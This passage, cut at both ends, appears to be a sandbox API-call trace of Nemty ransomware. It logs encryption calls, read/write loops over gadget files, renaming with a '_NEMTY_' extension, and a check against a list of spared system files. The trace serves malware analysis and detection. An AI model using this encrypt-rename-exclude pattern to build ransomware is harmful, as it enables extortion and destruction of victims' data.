dwHighDateTime=0x1d561e8)) [0143.565] GetLastError () returned 0xb7 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.565] GetLastError () returned 0xb7 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0143.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0143.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="bjjQiw47Qgt3K415Bk5j++JlYISowqg0Rg4LnHbjQrNOUrtLrjza/uE57RhxKWfQ\r\n0zEC1qtwW91T3dzjg1lx7fi1DEsfibS7l+sPZj8g2qpUPEb/S32RqD2yM64v0iJX\r\ncrAxezxcu32E7mTEgo0f3xP3OS1ZHsz68Z4zb2mkUVPK0/oknjYrIKlmAB1jhmx0\r\nfVQRUmoiFS3FFcomhkz0BtWhIzYjIjKVb7PpAWRDxzGfIcIFe+/hP9C0HxfzfsA/\r\nmO0VNgKNufrUgwlHjWv1vYLOawNcAezQDl8W9qiF4ensFatrVHcXlQ9/r/mu3E4h\r\n4HTnS1Oca71YQ/MJaIACLA==\r\n", pcchString=0x653e5dc) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.566] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.566] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0143.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.671] CloseHandle (hObject=0xffffffff) returned 0 [0143.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js._nemty_kgobjgd_")) returned 0 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.672] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2=".") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="..") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="...") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="windows") returned -1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="$RECYCLE.BIN") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="rsa") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="NTDETECT.COM") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="ntldr") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="MSDOS.SYS") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="IO.SYS") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="AUTOEXEC.BAT") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="ntuser.dat") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="desktop.ini") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="CONFIG.SYS") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="RECYCLER") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="BOOTSECT.BAK") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="bootmgr") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="programdata") returned 1 [0143.672] lstrcmpiW (lpString1="settings.js", lpString2="appdata") returned 1 [0143.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0143.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0143.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0143.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0143.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.673] Sleep (dwMilliseconds=0x5) [0143.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x9487c70, dwHighDateTime=0x1d561e8)) [0143.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x9487c70, dwHighDateTime=0x1d561e8)) [0143.674] GetLastError () returned 0x5 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.674] GetLastError () returned 0x5 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0143.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0143.674] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.674] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="NZ+9u+JwFG57Am7sEmdCBfU44V36crvxMBYrREB7RlqW6EHzbczjDhvVAQ6Eex0R\r\noafwQLeL5m7nw3TJJnktFky5hhZvV38i1jMdvdA17WK4j0d261wRYGAhqsQBhk5M\r\ngd7LbwfFH0AuqsaatNPw4pnt6FB+gd7FJ0so5Y4fO+BXKg/in9wAPjfHvvnNkXKp\r\nnG3ZP+kCh+HMkd5Mp16FQtUsBEkzVWigkPpGgNX1F8+hh5xsvIv2P1Tyh43p6rmx\r\nWEshDaCHX4e8UlkRbFjyfddy/KgR/MpqdWW4I1u9RnpGX1uqlxtFdyStqfYLePIu\r\nEZXTrCFcHTUQ2+PdBPCeuw==\r\n", pcchString=0x653e5dc) returned 1 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.674] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.675] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0143.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 